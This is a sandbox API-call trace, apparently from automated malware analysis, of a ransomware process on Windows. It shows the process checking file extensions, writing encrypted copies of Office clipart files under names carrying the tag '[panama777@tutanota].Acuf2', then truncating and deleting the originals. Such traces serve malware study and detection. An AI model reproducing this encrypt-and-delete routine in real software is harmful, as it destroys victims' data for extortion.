	[0253.586] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00040_.GIF.id-9C354B42.[panama777@tutanota].Acuf2", dwFileAttributes=0x20) returned 1
	[0253.659] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00040_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00040_.gif")) returned 1
	[0253.659] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00040_.GIF") returned 63
	[0253.659] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00040_.GIF") returned 63
	[0253.659] lstrlenW (lpString=".doc") returned 4
	[0253.659] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1
	[0253.659] lstrlenW (lpString=".docx") returned 5
	[0253.659] lstrcmpiW (lpString1=".docx", lpString2="_.GIF") returned -1
	[0253.659] lstrlenW (lpString=".pdf") returned 4
	[0253.659] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1
	[0253.659] lstrlenW (lpString=".xls") returned 4
	[0253.659] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1
	[0253.659] lstrlenW (lpString=".xlsx") returned 5
	[0253.659] lstrcmpiW (lpString1=".xlsx", lpString2="_.GIF") returned -1
	[0253.659] lstrlenW (lpString=".ppt") returned 4
	[0253.659] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1
	[0253.659] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00040_.GIF") returned 63
	[0253.659] lstrlenW (lpString=".zip") returned 4
	[0253.659] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1
	[0253.659] lstrlenW (lpString=".rar") returned 4
	[0253.659] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1
	[0253.659] lstrlenW (lpString=".bz2") returned 4
	[0253.660] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1
	[0253.660] lstrlenW (lpString=".7z") returned 3
	[0253.660] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1
	[0253.660] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00040_.GIF") returned 63
	[0253.660] lstrlenW (lpString=".dbf") returned 4
	[0253.660] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1
	[0253.660] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00040_.GIF") returned 63
	[0253.660] lstrlenW (lpString=".1cd") returned 4
	[0253.660] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1
	[0253.660] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00040_.GIF") returned 63
	[0253.660] lstrlenW (lpString=".jpg") returned 4
	[0253.660] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1
	[0253.660] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00040_.GIF") returned 63
	[0253.660] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00040_.GIF") returned 63
	[0253.660] lstrlenW (lpString=".doc") returned 4
	[0253.660] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1
	[0253.660] lstrlenW (lpString=".docx") returned 5
	[0253.660] lstrcmpiW (lpString1=".docx", lpString2="_.GIF") returned -1
	[0253.660] lstrlenW (lpString=".pdf") returned 4
	[0253.660] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1
	[0253.660] lstrlenW (lpString=".xls") returned 4
	[0253.660] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1
	[0253.660] lstrlenW (lpString=".xlsx") returned 5
	[0253.660] lstrcmpiW (lpString1=".xlsx", lpString2="_.GIF") returned -1
	[0253.660] lstrlenW (lpString=".ppt") returned 4
	[0253.660] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1
	[0253.660] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00040_.GIF") returned 63
	[0253.661] lstrlenW (lpString=".zip") returned 4
	[0253.661] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1
	[0253.661] lstrlenW (lpString=".rar") returned 4
	[0253.661] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1
	[0253.661] lstrlenW (lpString=".bz2") returned 4
	[0253.661] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1
	[0253.661] lstrlenW (lpString=".7z") returned 3
	[0253.661] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1
	[0253.661] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00040_.GIF") returned 63
	[0253.661] lstrlenW (lpString=".dbf") returned 4
	[0253.661] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1
	[0253.661] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00040_.GIF") returned 63
	[0253.661] lstrlenW (lpString=".1cd") returned 4
	[0253.661] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1
	[0253.661] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00040_.GIF") returned 63
	[0253.661] lstrlenW (lpString=".jpg") returned 4
	[0253.661] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1
	[0253.661] lstrcmpiW (lpString1=".GIF", lpString2=".Acuf2") returned 1
	[0253.661] lstrlenW (lpString="AG00154_.GIF") returned 12
	[0253.661] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00154_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00154_.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x344
	[0253.662] GetFileSizeEx (in: hFile=0x344, lpFileSize=0x2e8ff1c | out: lpFileSize=0x2e8ff1c*=5315) returned 1
	[0253.662] CloseHandle (hObject=0x344) returned 1
	[0253.662] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00154_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00154_.gif")) returned 0x20
	[0253.662] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00154_.GIF.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00154_.gif.id-9c354b42.[panama777@tutanota].acuf2")) returned 0xffffffff
	[0253.662] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00154_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00154_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x344
	[0253.662] SetFilePointerEx (in: hFile=0x344, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e8fec8 | out: lpNewFilePointer=0x0) returned 1
	[0253.662] SetFilePointerEx (in: hFile=0x344, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e8fec8 | out: lpNewFilePointer=0x0) returned 1
	[0253.662] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00154_.GIF.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00154_.gif.id-9c354b42.[panama777@tutanota].acuf2"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x348
	[0253.662] GetLastError () returned 0x0
	[0253.663] ReadFile (in: hFile=0x344, lpBuffer=0x3b10020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2e8fed4, lpOverlapped=0x0 | out: lpBuffer=0x3b10020*, lpNumberOfBytesRead=0x2e8fed4*=0x14c3, lpOverlapped=0x0) returned 1
	[0253.725] WriteFile (in: hFile=0x348, lpBuffer=0x3b10020*, nNumberOfBytesToWrite=0x14d0, lpNumberOfBytesWritten=0x2e8fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3b10020*, lpNumberOfBytesWritten=0x2e8fc9c*=0x14d0, lpOverlapped=0x0) returned 1
	[0253.726] ReadFile (in: hFile=0x344, lpBuffer=0x3b10020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2e8fed4, lpOverlapped=0x0 | out: lpBuffer=0x3b10020*, lpNumberOfBytesRead=0x2e8fed4*=0x0, lpOverlapped=0x0) returned 1
	[0253.726] WriteFile (in: hFile=0x348, lpBuffer=0x3b10020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2e8fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3b10020*, lpNumberOfBytesWritten=0x2e8fc9c*=0xec, lpOverlapped=0x0) returned 1
	[0253.726] SetEndOfFile (hFile=0x348) returned 1
	[0253.739] CloseHandle (hObject=0x348) returned 1
	[0253.741] SetFilePointerEx (in: hFile=0x344, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e8fec8 | out: lpNewFilePointer=0x0) returned 1
	[0253.749] SetEndOfFile (hFile=0x344) returned 1
	[0254.021] CloseHandle (hObject=0x344) returned 1
	[0254.021] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00154_.GIF.id-9C354B42.[panama777@tutanota].Acuf2", dwFileAttributes=0x20) returned 1
	[0254.055] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00154_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00154_.gif")) returned 1
	[0254.119] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00154_.GIF") returned 63
	[0254.119] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00154_.GIF") returned 63
	[0254.119] lstrlenW (lpString=".doc") returned 4
	[0254.119] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1
	[0254.119] lstrlenW (lpString=".docx") returned 5
	[0254.119] lstrcmpiW (lpString1=".docx", lpString2="_.GIF") returned -1
	[0254.119] lstrlenW (lpString=".pdf") returned 4
	[0254.119] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1
	[0254.119] lstrlenW (lpString=".xls") returned 4
	[0254.119] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1
	[0254.119] lstrlenW (lpString=".xlsx") returned 5
	[0254.119] lstrcmpiW (lpString1=".xlsx", lpString2="_.GIF") returned -1
	[0254.119] lstrlenW (lpString=".ppt") returned 4
	[0254.119] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1
	[0254.119] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00154_.GIF") returned 63
	[0254.119] lstrlenW (lpString=".zip") returned 4
	[0254.119] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1
	[0254.119] lstrlenW (lpString=".rar") returned 4
	[0254.120] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1
	[0254.120] lstrlenW (lpString=".bz2") returned 4
	[0254.120] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1
	[0254.120] lstrlenW (lpString=".7z") returned 3
	[0254.120] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1
	[0254.120] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00154_.GIF") returned 63
	[0254.120] lstrlenW (lpString=".dbf") returned 4
	[0254.120] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1
	[0254.120] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00154_.GIF") returned 63
	[0254.120] lstrlenW (lpString=".1cd") returned 4
	[0254.120] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1
	[0254.120] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00154_.GIF") returned 63
	[0254.120] lstrlenW (lpString=".jpg") returned 4
	[0254.120] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1
	[0254.120] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00154_.GIF") returned 63
	[0254.120] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00154_.GIF") returned 63
	[0254.120] lstrlenW (lpString=".doc") returned 4
	[0254.120] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1
	[0254.120] lstrlenW (lpString=".docx") returned 5
	[0254.120] lstrcmpiW (lpString1=".docx", lpString2="_.GIF") returned -1
	[0254.120] lstrlenW (lpString=".pdf") returned 4
	[0254.120] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1
	[0254.120] lstrlenW (lpString=".xls") returned 4
	[0254.120] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1
	[0254.120] lstrlenW (lpString=".xlsx") returned 5
	[0254.120] lstrcmpiW (lpString1=".xlsx", lpString2="_.GIF") returned -1
	[0254.120] lstrlenW (lpString=".ppt") returned 4
	[0254.120] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1
	[0254.120] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00154_.GIF") returned 63
	[0254.120] lstrlenW (lpString=".zip") returned 4
	[0254.121] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1
	[0254.121] lstrlenW (lpString=".rar") returned 4
	[0254.121] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1
	[0254.121] lstrlenW (lpString=".bz2") returned 4
	[0254.121] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1
	[0254.121] lstrlenW (lpString=".7z") returned 3
	[0254.121] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1
	[0254.121] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00154_.GIF") returned 63
	[0254.121] lstrlenW (lpString=".dbf") returned 4
	[0254.121] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1
	[0254.121] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00154_.GIF") returned 63
	[0254.121] lstrlenW (lpString=".1cd") returned 4
	[0254.121] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1
	[0254.121] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00154_.GIF") returned 63
	[0254.121] lstrlenW (lpString=".jpg") returned 4
	[0254.121] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1
	[0254.121] lstrcmpiW (lpString1=".GIF", lpString2=".Acuf2") returned 1
	[0254.121] lstrlenW (lpString="AG00163_.GIF") returned 12
	[0254.121] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00163_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00163_.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x358
	[0254.371] GetFileSizeEx (in: hFile=0x358, lpFileSize=0x2e8ff1c | out: lpFileSize=0x2e8ff1c*=6984) returned 1
	[0254.371] CloseHandle (hObject=0x358) returned 1
	[0254.371] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00163_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00163_.gif")) returned 0x20
	[0254.371] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00163_.GIF.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00163_.gif.id-9c354b42.[panama777@tutanota].acuf2")) returned 0xffffffff
	[0254.373] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00163_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00163_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x358
	[0254.373] SetFilePointerEx (in: hFile=0x358, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e8fec8 | out: lpNewFilePointer=0x0) returned 1
	[0254.374] SetFilePointerEx (in: hFile=0x358, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e8fec8 | out: lpNewFilePointer=0x0) returned 1
	[0254.374] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00163_.GIF.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00163_.gif.id-9c354b42.[panama777@tutanota].acuf2"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x35c
	[0254.374] GetLastError () returned 0x0
	[0254.374] ReadFile (in: hFile=0x358, lpBuffer=0x3b10020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2e8fed4, lpOverlapped=0x0 | out: lpBuffer=0x3b10020*, lpNumberOfBytesRead=0x2e8fed4*=0x1b48, lpOverlapped=0x0) returned 1
	[0254.376] WriteFile (in: hFile=0x35c, lpBuffer=0x3b10020*, nNumberOfBytesToWrite=0x1b50, lpNumberOfBytesWritten=0x2e8fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3b10020*, lpNumberOfBytesWritten=0x2e8fc9c*=0x1b50, lpOverlapped=0x0) returned 1
	[0254.377] ReadFile (in: hFile=0x358, lpBuffer=0x3b10020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2e8fed4, lpOverlapped=0x0 | out: lpBuffer=0x3b10020*, lpNumberOfBytesRead=0x2e8fed4*=0x0, lpOverlapped=0x0) returned 1
	[0254.377] WriteFile (in: hFile=0x35c, lpBuffer=0x3b10020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2e8fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3b10020*, lpNumberOfBytesWritten=0x2e8fc9c*=0xec, lpOverlapped=0x0) returned 1
	[0254.377] SetEndOfFile (hFile=0x35c) returned 1
	[0254.377] CloseHandle (hObject=0x35c) returned 1
	[0254.377] SetFilePointerEx (in: hFile=0x358, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e8fec8 | out: lpNewFilePointer=0x0) returned 1
	[0254.377] SetEndOfFile (hFile=0x358) returned 1
	[0254.380] CloseHandle (hObject=0x358) returned 1
	[0254.380] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00163_.GIF.id-9C354B42.[panama777@tutanota].Acuf2", dwFileAttributes=0x20) returned 1
	[0254.380] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00163_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00163_.gif")) returned 1
	[0254.381] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00163_.GIF") returned 63
	[0254.381] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00163_.GIF") returned 63
	[0254.381] lstrlenW (lpString=".doc") returned 4
	[0254.381] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1
	[0254.381] lstrlenW (lpString=".docx") returned 5
	[0254.381] lstrcmpiW (lpString1=".docx", lpString2="_.GIF") returned -1
	[0254.381] lstrlenW (lpString=".pdf") returned 4
	[0254.381] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1
	[0254.381] lstrlenW (lpString=".xls") returned 4
	[0254.381] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1
	[0254.381] lstrlenW (lpString=".xlsx") returned 5
	[0254.381] lstrcmpiW (lpString1=".xlsx", lpString2="_.GIF") returned -1
	[0254.381] lstrlenW (lpString=".ppt") returned 4
	[0254.381] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1
	[0254.381] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00163_.GIF") returned 63
	[0254.381] lstrlenW (lpString=".zip") returned 4
	[0254.381] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1
	[0254.381] lstrlenW (lpString=".rar") returned 4
	[0254.381] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1
	[0254.381] lstrlenW (lpString=".bz2") returned 4
	[0254.381] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1
	[0254.381] lstrlenW (lpString=".7z") returned 3
	[0254.381] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1
	[0254.381] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00163_.GIF") returned 63
	[0254.381] lstrlenW (lpString=".dbf") returned 4
	[0254.381] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1
	[0254.382] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00163_.GIF") returned 63
	[0254.382] lstrlenW (lpString=".1cd") returned 4
	[0254.382] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1
	[0254.382] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00163_.GIF") returned 63
	[0254.382] lstrlenW (lpString=".jpg") returned 4
	[0254.382] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1
	[0254.382] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00163_.GIF") returned 63
	[0254.382] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00163_.GIF") returned 63
	[0254.382] lstrlenW (lpString=".doc") returned 4
	[0254.382] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1
	[0254.382] lstrlenW (lpString=".docx") returned 5
	[0254.382] lstrcmpiW (lpString1=".docx", lpString2="_.GIF") returned -1
	[0254.382] lstrlenW (lpString=".pdf") returned 4
	[0254.382] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1
	[0254.382] lstrlenW (lpString=".xls") returned 4
	[0254.382] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1
	[0254.382] lstrlenW (lpString=".xlsx") returned 5
	[0254.382] lstrcmpiW (lpString1=".xlsx", lpString2="_.GIF") returned -1
	[0254.382] lstrlenW (lpString=".ppt") returned 4
	[0254.382] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1
	[0254.382] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00163_.GIF") returned 63
	[0254.382] lstrlenW (lpString=".zip") returned 4
	[0254.382] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1
	[0254.382] lstrlenW (lpString=".rar") returned 4
	[0254.382] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1
	[0254.382] lstrlenW (lpString=".bz2") returned 4
	[0254.382] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1
	[0254.382] lstrlenW (lpString=".7z") returned 3
	[0254.382] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1
	[0254.383] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00163_.GIF") returned 63
	[0254.383] lstrlenW (lpString=".dbf") returned 4
	[0254.383] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1
	[0254.383] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00163_.GIF") returned 63
	[0254.383] lstrlenW (lpString=".1cd") returned 4
	[0254.383] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1
	[0254.383] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00163_.GIF") returned 63
	[0254.383] lstrlenW (lpString=".jpg") returned 4
	[0254.383] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1
	[0254.383] lstrcmpiW (lpString1=".WMF", lpString2=".Acuf2") returned 1
	[0254.383] lstrlenW (lpString="AN00914_.WMF") returned 12
	[0254.383] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00914_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an00914_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x358
	[0254.384] GetFileSizeEx (in: hFile=0x358, lpFileSize=0x2e8ff1c | out: lpFileSize=0x2e8ff1c*=10832) returned 1
	[0254.384] CloseHandle (hObject=0x358) returned 1
	[0254.384] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00914_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an00914_.wmf")) returned 0x20
	[0254.384] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00914_.WMF.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an00914_.wmf.id-9c354b42.[panama777@tutanota].acuf2")) returned 0xffffffff
	[0254.384] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00914_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an00914_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x358
	[0254.384] SetFilePointerEx (in: hFile=0x358, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e8fec8 | out: lpNewFilePointer=0x0) returned 1
	[0254.384] SetFilePointerEx (in: hFile=0x358, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e8fec8 | out: lpNewFilePointer=0x0) returned 1
	[0254.384] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00914_.WMF.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an00914_.wmf.id-9c354b42.[panama777@tutanota].acuf2"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x35c
	[0254.385] GetLastError () returned 0x0
	[0254.385] ReadFile (in: hFile=0x358, lpBuffer=0x3b10020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2e8fed4, lpOverlapped=0x0 | out: lpBuffer=0x3b10020*, lpNumberOfBytesRead=0x2e8fed4*=0x2a50, lpOverlapped=0x0) returned 1
	[0254.390] WriteFile (in: hFile=0x35c, lpBuffer=0x3b10020*, nNumberOfBytesToWrite=0x2a60, lpNumberOfBytesWritten=0x2e8fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3b10020*, lpNumberOfBytesWritten=0x2e8fc9c*=0x2a60, lpOverlapped=0x0) returned 1
	[0254.391] ReadFile (in: hFile=0x358, lpBuffer=0x3b10020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2e8fed4, lpOverlapped=0x0 | out: lpBuffer=0x3b10020*, lpNumberOfBytesRead=0x2e8fed4*=0x0, lpOverlapped=0x0) returned 1
	[0254.391] WriteFile (in: hFile=0x35c, lpBuffer=0x3b10020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2e8fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3b10020*, lpNumberOfBytesWritten=0x2e8fc9c*=0xec, lpOverlapped=0x0) returned 1
	[0254.391] SetEndOfFile (hFile=0x35c) returned 1
	[0254.391] CloseHandle (hObject=0x35c) returned 1
	[0254.391] SetFilePointerEx (in: hFile=0x358, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e8fec8 | out: lpNewFilePointer=0x0) returned 1
	[0254.391] SetEndOfFile (hFile=0x358) returned 1
	[0254.394] CloseHandle (hObject=0x358) returned 1
	[0254.394] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00914_.WMF.id-9C354B42.[panama777@tutanota].Acuf2", dwFileAttributes=0x20) returned 1
